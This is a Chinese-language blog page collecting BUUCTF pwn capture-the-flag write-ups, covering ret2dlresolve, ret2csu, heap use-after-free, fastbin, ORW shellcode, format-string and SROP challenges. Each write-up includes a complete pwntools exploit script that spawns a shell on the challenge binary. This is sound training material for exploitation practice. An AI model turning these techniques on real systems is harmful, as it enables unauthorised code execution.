BUUCTF on RatherHard の Blog

BUUCTF-NewStarCTF-2023-dlresolve 题解

Mon, 09 Feb 2026 16:54:00 +0000

题目

题目链接

攻击思路

64 位下 ret2dlresolve 模板题

注意将返回地址覆盖为 plt 内容后可再接返回地址控制程序流程

注意 _dl_runtime_resolve 有点像 srop 会还原寄存器

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./pwn_patched')
else:
	io = remote('node5.buuoj.cn', 28062)

link_map_base = 0x404800
binsh_addr = link_map_base + 0x28

read_plt = 0x401060
again_addr = 0x401192
plt0_addr = 0x401026
read_got = 0x404020
pop_rdi_ret = 0x40115E
pop_rsi_ret = 0x40116B

def fake_link_map_gen(fake_link_map_base, delta, func_got_addr, mstr):
	fake_link_map = b''
	fake_link_map += p64(delta, sign = 'signed')
	fake_link_map += p64(func_got_addr - 8)
	fake_link_map += p64(fake_link_map_base + 24)
	fake_link_map += p64(fake_link_map_base - delta)
	fake_link_map += p64(7)
	fake_link_map += mstr.encode()
	fake_link_map = fake_link_map.ljust(0x68, b'\x00')
	fake_link_map += p64(fake_link_map_base)
	fake_link_map += p64(fake_link_map_base)
	fake_link_map = fake_link_map.ljust(0xF8, b'\x00')
	fake_link_map += p64(fake_link_map_base + 8)
	return fake_link_map

def attack():
	payload = b'A' * (0x70 + 8) + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(link_map_base) + p64(read_plt) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(plt0_addr) + p64(link_map_base) + p64(0)
	io.send(payload.ljust(0x100, b'\x00'))
	payload = fake_link_map_gen(link_map_base, 0x52290 - 0x10dfc0, read_got, '/bin/sh\x00')
	io.send(payload.ljust(0x100, b'\x00'))
	io.interactive()

attack()

BUUCTF-NewStarCTF-ret2csu2 题解

Fri, 06 Feb 2026 12:22:00 +0000

题目

题目链接

checksec

没有 canary 和 pie 但开了 Full RELRO ，要注意 .got 的只读属性

IDA

存在栈溢出，溢出长度较小，考虑栈迁移

攻击思路

栈迁移即可， leak 出 libc 基址后，利用 csu 构造 rop 链时考虑使用栈拼接的技巧

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71


from pwn import *
from onegadget_selector import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

libcoffsetdict = {}
libcrealdict = {}

def libcdict_add(name, addr):
	if addr > 0x1000000:
		libcrealdict[name] = addr
		addr %= 0x1000
	libcoffsetdict[name] = addr

def getlibc(path):
	if not debug:
		return ELF(libcdb.search_by_symbol_offsets(libcoffsetdict))
	else:
		return ELF(path)

def initlibc(libc):
	if not debug:
		subprocess.run(['cp', libc.path, './libc.so.6'])
		subprocess.run(['pwninit', '--no-template'])

debug = 1

if debug:
	p = process('./pwn_patched')
else:
	p = remote('node5.buuoj.cn', 27493)

csuaddr = 0x40075C
itaddr = 0x4007A8
hellorbp = 0x601108
ret2read = 0x4006D6
ret2write = 0x4006B7
fakerbp = 0x601208

def pleaker(addr):
	sleep(0.1)
	payload = (p64(addr)).ljust(240, b'A') + p64(hellorbp) + p64(ret2write)
	p.send(payload)
	retaddr = u64(p.recv(8))
	p.recvn(0x36 - 0x8, 1)
	return retaddr
	
def attack():
	payload = b'A' * 240 + p64(hellorbp) + p64(ret2read)
	p.sendafter(b'it!\n', payload)
	libcdict_add('__libc_start_main', pleaker(0x600FF0))
	libcdict_add('mprotect', pleaker(0x600FE8))
	libcdict_add('setvbuf', pleaker(0x600FE0))
	libc = getlibc('./libc.so.6')
	base_addr = libcrealdict['__libc_start_main'] - libc.symbols['__libc_start_main']
	log.info(f'base_addr = {hex(base_addr)}')
	initlibc(libc)
	one_gadget_offset = select_onegadgets(libc.path)
	one_gadget_addr = base_addr + one_gadget_offset
	sleep(0.1)
	payload = (p64(itaddr)).ljust(240, b'A') + p64(fakerbp) + p64(ret2write)
	p.send(payload)
	payload = (p64(0) + p64(0) + p64(0) + p64(0) + p64(one_gadget_addr)).ljust(240, b'A') + p64(hellorbp) + p64(ret2write)
	p.sendafter(b'it!\n', payload)
	payload = (p64(itaddr)).ljust(240, b'A') + p64(hellorbp) + p64(csuaddr)
	p.sendafter(b'it!\n', payload)
	p.interactive()

attack()

BUUCTF-ZJCTF-2019-Login 题解

Sun, 01 Feb 2026 14:22:00 +0000

题目

题目链接

checksec

存在 canary 保护

IDA

main

一个简单的登录系统

观察到 [rbp-0x130] ，它来自于 password_checker 的 rax

Admin_password_checker

snprintf 这里有一个坑， src 和 dest 相同会产生 buffer overlap 的问题，产生非预期结果，而使用 ‘\x00’ 可以截断这种行为

其实经过动调可知，我们应该劫持 a1 为后门函数地址

Admin_password_checker_asm

上面的 a1 即此处的 rax ，为 rdi 解两层引用，接下来回到 main 去溯源 rdi

main_asm

rdi 溯源至 rbp - 0x130 ，注意并不是 [rbp - 0x130] ， [rbp - 0x130] 溯源至 password_checker 后的 rax

password_checker_asm

rax 溯源至 rbp - 0x18 ，注意并不是 [rbp - 0x18] ，由此 call rax 中的 rax 最终溯源 [rbp - 0x18] ，注意此处的 rbp 为 password_checker 的 rbp

read_password

backdoor

攻击思路

接下来可以直接动调，获取以下信息：

call rax 中 rax 的最初来源
read_password 中覆盖到 rax 最初来源所需的溢出长度

然后就可以直接 get shell 啦

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	p = process('./login')
else:
	p = remote('node5.buuoj.cn', 27735)
	
def attack():
	p.sendlineafter(b'username: ', b'admin')
	pwd = b'2jctf_pa5sw0rd\x00'
	payload = pwd.ljust(72, b'\x00') + p64(0x400e88)
	p.sendafter(b'password: ', payload)
	p.interactive()

attack()

BUUCTF-NewStarCTF-2023-ezheap 题解

Fri, 16 Jan 2026 21:49:00 +0000

题目

题目链接

checksec

全开

IDA

main

菜单题

add

一次 add 申请两个 chunk ，记为 head_chunk 和 content_chunk

delete

有明显的 UAF 漏洞

show

delete 后仍可以 show

edit

delete 后仍可以 edit

read_idx

read_size

攻击思路

由于一次 add 申请两个 chunk ，而一次 delete 只 free 掉 head_chunk 且不清空数据，而 delete 后仍可以 edit，所以我们可以通过两次 delete 和一次 add 获得一个 head_chunk 的控制权，进而利用 edit/show 实现 AAW/AAR

同时，在上面的操作之前 delete 掉一个 head_chunk 使之进入 tcache ，我们可以利用 chunk 的残留值泄露堆地址，实现对堆的完全控制

然而由于我们并没有操作栈的机会，也没有办法劫持 got 表，因此我们考虑去劫持 __free_hook 函数，这需要泄露 libc 基址

由于 tcache 的结构存在于堆上，而 fastbin 为单向链表，我们没有办法通过它们去泄露 libc 基址，因此考虑 unsorted_bin ，因为进入 unsorted_bin 的 chunk 的 fd/bk 指向 arena ，而 arena 与 libc 基址的相对偏移固定

由于强行塞满 tcache 所需的 chunk 数量过多，不方便操作，因此我们考虑直接修改位于堆上的 counts 数组，使 tcache 看起来是满的

为了绕开 fastbin ，我们考虑使用 size 为 0x90 的 chunk ，同时把对应 tcache 的 counts 设为 7

但是程序只允许 free 掉 0x30 的 chunk ，所以我们需要伪造一个 fake chunk 去绕过安全检测

我们需要伪造的有：

chunk_size = 0x91
chunk_prev_size = 0x30
next_chunk_prev_size = 0x90
next_chunk_prev_inuse_bit = 1
next_chunk_size 合法，且保险起见，不要让它与 top_chunk 重叠

利用 AAW 伪造完成后， delete 掉 fake_chunk 即可使之进入 unsorted_bin ，再利用 AAR 即可泄露 libc 基址

最后利用 AAW 劫持 __free_hook 为 system 并往一个 head_chunk 中写入 /bin/sh\x00 ，再 delete 掉这个 head_chunk 即可提权

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	p = process('./pwn')
else:
	p = remote('node5.buuoj.cn', 28814)

def padd(idx, size, content):
	p.recvuntil(b'>>\n')
	p.sendline(b'1')
	p.recvuntil(b'idx(0~15): ')
	p.sendline(str(idx).encode())
	p.recvuntil(b'size: ')
	p.sendline(str(size).encode())
	p.recvuntil(b'note: ')
	p.sendline(content)

def pdelete(idx):
	p.recvuntil(b'>>\n')
	p.sendline(b'2')
	p.recvuntil(b'idx(0~15): ')
	p.sendline(str(idx).encode())

def pshow(idx):
	p.recvuntil(b'>>\n')
	p.sendline(b'3')
	p.recvuntil(b'idx(0~15): ')
	p.sendline(str(idx).encode())

def pedit(idx, content):
	p.recvuntil(b'>>\n')
	p.sendline(b'4')
	p.recvuntil(b'idx(0~15): ')
	p.sendline(str(idx).encode())
	p.recvuntil(b'content: ')
	p.send(content)
	
def pwrite(addr, val):
	payload = p64(0x20) + b'\x00' * 0x10 + p64(addr)
	pedit(2, payload)
	pedit(0, val)
	
def pread(addr):
	payload = p64(0x20) + b'\x00' * 0x10 + p64(addr)
	pedit(2, payload)
	pshow(0)
	
def attack():
	padd(3, 0x20, b'')
	padd(0, 0x20, b'')
	padd(1, 0x20, b'')
	pdelete(3)
	pdelete(0)
	pdelete(1)
	padd(2, 0x20, b'') 
	pshow(2)
	p.recvuntil(b'\n')
	heap3_addr = u64(p.recv(6).ljust(8, b'\x00'))
	log.info(f'heap3_addr = {hex(heap3_addr)}')
	pwrite(heap3_addr // 0x1000 * 0x1000 + 0x10 + 0x2 * 7, p64(7))
	padd(4, 0x28, b'A' * 0x20 + p64(0x30))
	padd(5, 0x70, b'')
	pwrite(heap3_addr + 0x28 + 6 * 0x30, p64(0x91))
	pwrite(heap3_addr + 0x28 + 6 * 0x30 + 0x90, p64(0x21))
	pwrite(heap3_addr + 0x28 + 6 * 0x30 + 0x90 - 8, p64(0x90))
	pdelete(5)
	pread(heap3_addr + 0x28 + 6 * 0x30 + 0x8)
	p.recvuntil(b'\n')
	bins0_addr = u64(p.recv(6).ljust(8, b'\x00'))
	log.info(f'bins0_addr = {hex(bins0_addr)}')
	libc_addr = bins0_addr - 0x1cabe0
	log.info(f'libc_addr = {hex(libc_addr)}')
	__free_hook_addr = libc_addr + 0x1cce48
	log.info(f'__free_hook_addr = {hex(__free_hook_addr)}')
	system_addr = libc_addr + 0x30290
	log.info(f'system_addr = {hex(system_addr)}')
	pwrite(heap3_addr, b'/bin/sh\x00')
	pwrite(__free_hook_addr, p64(system_addr))
	pdelete(4)
	p.interactive()

attack()

BUUCTF-ZJCTF-2019-EasyHeap 题解

Tue, 13 Jan 2026 23:47:00 +0000

题目

题目链接

checksec

IDA

main

菜单题

create

delete

edit

有明显的堆溢出，考虑通过 fastbin 获取在 heaparray 附近的 fake chunk ，再劫持 heaparray 以实现任意地址写

got

systemplt

构造合适位置的 fake chunk

0x6020ad 处有满足 size = 0x7f 的 fake chunk ，故申请 0x68 字节，使用 0x70 的 fastbin 链表

攻击思路

先利用堆溢出漏洞劫持已进入 fastbin 的 chunk 的 fd 指针为 fake chunk 地址 0x6020ad

再通过 malloc 申请这块 fake chunk ，同时在 fake chunk 写入 payload 劫持 heaparray[0]

由于我们希望通过 system("/bin/sh") 提权，然而 elf 中并没有 “/bin/sh” 字符串，这需要我们手动写入

更坏的是，我们似乎并没有操纵栈的机会，只能通过劫持 got 表短暂地劫持程序流程，，，

所以这里有一个巧妙的方法：注意到 system 的参数为 rdi ，所以我们可以把 free 劫持为 system_plt ，由于 free 的参数是我们自己可以设定的，通过在某个索引为 idx 的 chunk 上写入 “/bin/sh\x00” ，调用 delete_heap(idx) 后即可执行 system("/bin/sh") 提权

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	p = process('./easyheap')
else:
	p = remote('node5.buuoj.cn', 26200)

def pcreate(size, content):
	p.recvuntil(b'choice :')
	p.sendline(b'1')
	p.recvuntil(b'Heap : ')
	p.sendline(str(size).encode())
	p.recvuntil(b'heap:')
	p.sendline(content)
	
def pedit(index, size, content):
	p.recvuntil(b'choice :')
	p.sendline(b'2')
	p.recvuntil(b'Index :')
	p.sendline(str(index).encode())
	p.recvuntil(b'Heap : ')
	p.sendline(str(size).encode())
	p.recvuntil(b'heap : ')
	p.sendline(content)
	
def pdelete(index):
	p.recvuntil(b'choice :')
	p.sendline(b'3')
	p.recvuntil(b'Index :')
	p.sendline(str(index).encode())

def attack():
	pcreate(0x68, b'')
	pcreate(0x68, b'')
	pcreate(0x68, b'')
	pdelete(2)

	payload = b'A' * 0x68 + p64(0x7f) + p64(0x6020ad)
	pedit(1, len(payload), payload)

	pcreate(0x68, b'')
	payload = b'A' * 35 + p64(0x602018)
	pcreate(0x68, payload)

	payload = p64(0x400700)
	pedit(0, len(payload), payload)

	payload = b'/bin/sh\x00'
	pedit(1, len(payload), payload)

	pdelete(1)

	p.interactive()

attack()

BUUCTF-NewStarCTF-2023-orwrop 题解

Mon, 12 Jan 2026 11:40:00 +0000

题目

题目链接

checksec

有 canary 保护

IDA

有沙箱，考虑 orw

可利用格式化字符串漏洞泄露 canary

然后发现 mmap 开了一个 rwx 区域

考虑栈迁移和 ret2shellcode

我们可以在第一次溢出时迁移 rbp 并再次调用溢出漏洞，然后由于 buf 的写入是以 rbp 为基准的，所以在第二次溢出时栈已迁移，可以直接在 rwx 段上布局 shellcode 实现 orw

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

elf = ELF('ezorw')

io = process('./ezorw') 

fmt = b'%11$p'

io.recvuntil(b'sandbox\n')
io.sendline(fmt)

canary = p64(int(io.recv(18), 16))
log.info(f'canary = {hex(u64(canary))}')

io.recvuntil(b'now\n')

rbp_addr = p64(0x66660000 + 0x100)
rsp_s_rip_addr = p64(0x66660000 + 0x100 + 0x10)
read_addr = p64(0x401373)

padding = 40
payload = b'A' * padding + canary + rbp_addr + read_addr
io.sendline(payload)

shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read('rax', 'rsp', 0x100)
shellcode += shellcraft.write(1, 'rsp', 0x100)
payload = b'A' * padding + canary + rbp_addr + rsp_s_rip_addr + asm(shellcode)
io.recvuntil(b'now\n')
io.sendline(payload)
all_output = io.recvall(timeout=5)
log.info(all_output.decode('utf-8', errors='ignore'))

BUUCTF-NewStarCTF-ret2csu1 题解

Mon, 12 Jan 2026 11:10:00 +0000

题目

题目链接

checksec

IDA

csu 中有 call [r12 + rbx*8] ，令 r12 为指向 backdoor 地址的一个地址即 gift3 ， rbp 为 0 即可调用 backdoor

根据 execve 的参数定义，令 rdi -> “/bin/cat\x00” 即 rdi = aBinCat , rsi = gift2 , rdx = 0 再调用 backdoor 即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

io = process('./ret2csu1')

csu1 = p64(0x40072A)
csu2 = p64(0x400710)
rdi = p64(0x4007BB)
rsi = p64(0x601050)
backdoor = p64(0x601068)

padding = 32 + 8

payload = b'A' * padding + csu1 + p64(0) + p64(1) + backdoor + rdi + rsi + p64(0) + csu2

io.recvuntil(b'it!\n')
io.sendline(payload)
io.interactive()

BUUCTF-jarvisoj_fm 题解

Mon, 12 Jan 2026 10:23:00 +0000

题目

题目链接

checksec

IDA

利用格式化字符串漏洞篡改 x 为 4 即可，注意这里是 32 位

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


from pwn import *

context.log_level = 'debug'
context.arch = 'i386'

p = process('./fm')

x_addr = p32(0x804A02C)
payload = x_addr + b'%11$n'
p.sendline(payload)

p.interactive()

BUUCTF-qctf2018_stack2 题解

Mon, 12 Jan 2026 09:58:00 +0000

题目

题目链接

checksec

IDA

有一个利用 v13 越界的漏洞，直接劫持返回地址到后门即可

backdoor

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


from pwn import *

context.log_level = "debug"
context.arch = "i386"

io = process("./stack2")

io.recvuntil(b"have:\n")
io.sendline(b'1')

io.recvuntil(b"numbers\n")
io.sendline(b'1')
io.recvuntil(b"exit\n")
io.sendline(b'3')
io.recvuntil(b"change:\n")
io.sendline(b'132')
io.recvuntil(b"number:\n")
io.sendline(b"155")

io.recvuntil(b"exit\n")
io.sendline(b'3')
io.recvuntil(b"change:\n")
io.sendline(b'133')
io.recvuntil(b"number:\n")
io.sendline(b"133")

io.recvuntil(b"exit\n")
io.sendline(b'3')
io.recvuntil(b"change:\n")
io.sendline(b'134')
io.recvuntil(b"number:\n")
io.sendline(b"4")

io.recvuntil(b"exit\n")
io.sendline(b'3')
io.recvuntil(b"change:\n")
io.sendline(b'135')
io.recvuntil(b"number:\n")
io.sendline(b"8")

io.recvuntil(b"exit\n")
io.sendline(b'5')

io.interactive()

BUUCTF-rootersctf_2019_srop 题解

Mon, 12 Jan 2026 09:32:00 +0000

题目

题目链接

checksec

vmmap

注意到 0x402000 开始有 rw 权限，在没法泄露栈地址时考虑栈迁移到上面

IDA

代码很简洁，有一个栈溢出漏洞，且有 pop rax; syscall; leave; retn; gadget ，很方便进行 srop

思路

考虑利用 srop 与栈迁移，在 0x402000 处布局栈：

1
2
3
4
5
6
7


+-------------------+
| ret2gadget | 0x402010 (rsp)
+-------------------+
| rbp | 0x402008
+-------------------+
| "/bin/sh\x00" | 0x402000
+-------------------+

利用 gadget 调用 execve syscall 即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


from pwn import *

elf = ELF("./srop")
context.clear()
context.arch = "amd64"
context.log_level = 'debug'

io = process("./srop")

pop_rax_syscall_leave_retn = 0x401032
syscall_leave_retn = 0x401033

frame1 = SigreturnFrame(kernel="amd64")
frame1.rax = 0
frame1.rdi = 0
frame1.rsi = 0x402000
frame1.rdx = 0x400
frame1.rip = syscall_leave_retn
frame1.rbp = 0x402008
frame1.rsp = 0x402010

rax = p64(0xf)
payload1 = b"A" * (0x80 + 8) + p64(pop_rax_syscall_leave_retn) + rax + bytes(frame1)

io.recvuntil(b'CTF?\n')
io.sendline(payload1)

path = b"/bin/sh\x00"

frame2 = SigreturnFrame(kernel="amd64")
frame2.rax = 59
frame2.rdi = 0x402000
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall_leave_retn

payload2 = path + p64(0x402008) + p64(pop_rax_syscall_leave_retn) + rax + bytes(frame2)


io.sendline(payload2)
io.interactive()

BUUCTF-bjdctf_2020_babystack 题解

Wed, 29 Oct 2025 12:17:00 +0000

题目

题目链接

checksec

IDA

很显然，由于 nbytes 可以被赋予一个较大的值，使得 buf 可以被溢出。

backdoor

思路

利用的栈溢出漏洞覆盖函数返回地址，使之返回到这个后门函数提权即可。

附一个图示：

根据 buf 的位置 [rbp-10h] 可构造 payload = b'A' * (16 + 8) + backdoor_addr 实现攻击，由于需要栈对齐，其中，backdoor_addr = 0x4006ea ，而不是 backdoor_addr = 0x4006e6

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

p = process('./bjdctf_2020_babystack')

p.recvuntil(b'name:\n')

payload = b'40'
p.sendline(payload)

p.recvuntil(b'name?\n')

backdoor_addr = p64(0x4006ea)
payload = b'A' * (16 + 8) + backdoor_addr

p.sendline(payload)

p.interactive()

BUUCTF on RatherHard の Blog

BUUCTF-NewStarCTF-2023-dlresolve 题解

题目

攻击思路

exp

BUUCTF-NewStarCTF-ret2csu2 题解

题目

checksec

IDA

攻击思路

exp

BUUCTF-ZJCTF-2019-Login 题解

题目

checksec

IDA

main

Admin_password_checker

Admin_password_checker_asm

main_asm

password_checker_asm

read_password

backdoor

攻击思路

exp

BUUCTF-NewStarCTF-2023-ezheap 题解

题目

checksec

IDA

main

menu

add

delete

show

edit

read_idx

read_size

攻击思路

exp

BUUCTF-ZJCTF-2019-EasyHeap 题解

题目

checksec

IDA

main

menu

create

delete

edit

got

systemplt

构造合适位置的 fake chunk

攻击思路

exp

BUUCTF-NewStarCTF-2023-orwrop 题解

题目

checksec

IDA

exp

BUUCTF-NewStarCTF-ret2csu1 题解

题目

checksec

IDA

exp

BUUCTF-jarvisoj_fm 题解

题目

checksec

IDA

exp

BUUCTF-qctf2018_stack2 题解

题目

checksec

IDA

backdoor

exp

BUUCTF-rootersctf_2019_srop 题解

题目

checksec

vmmap

IDA

思路

exp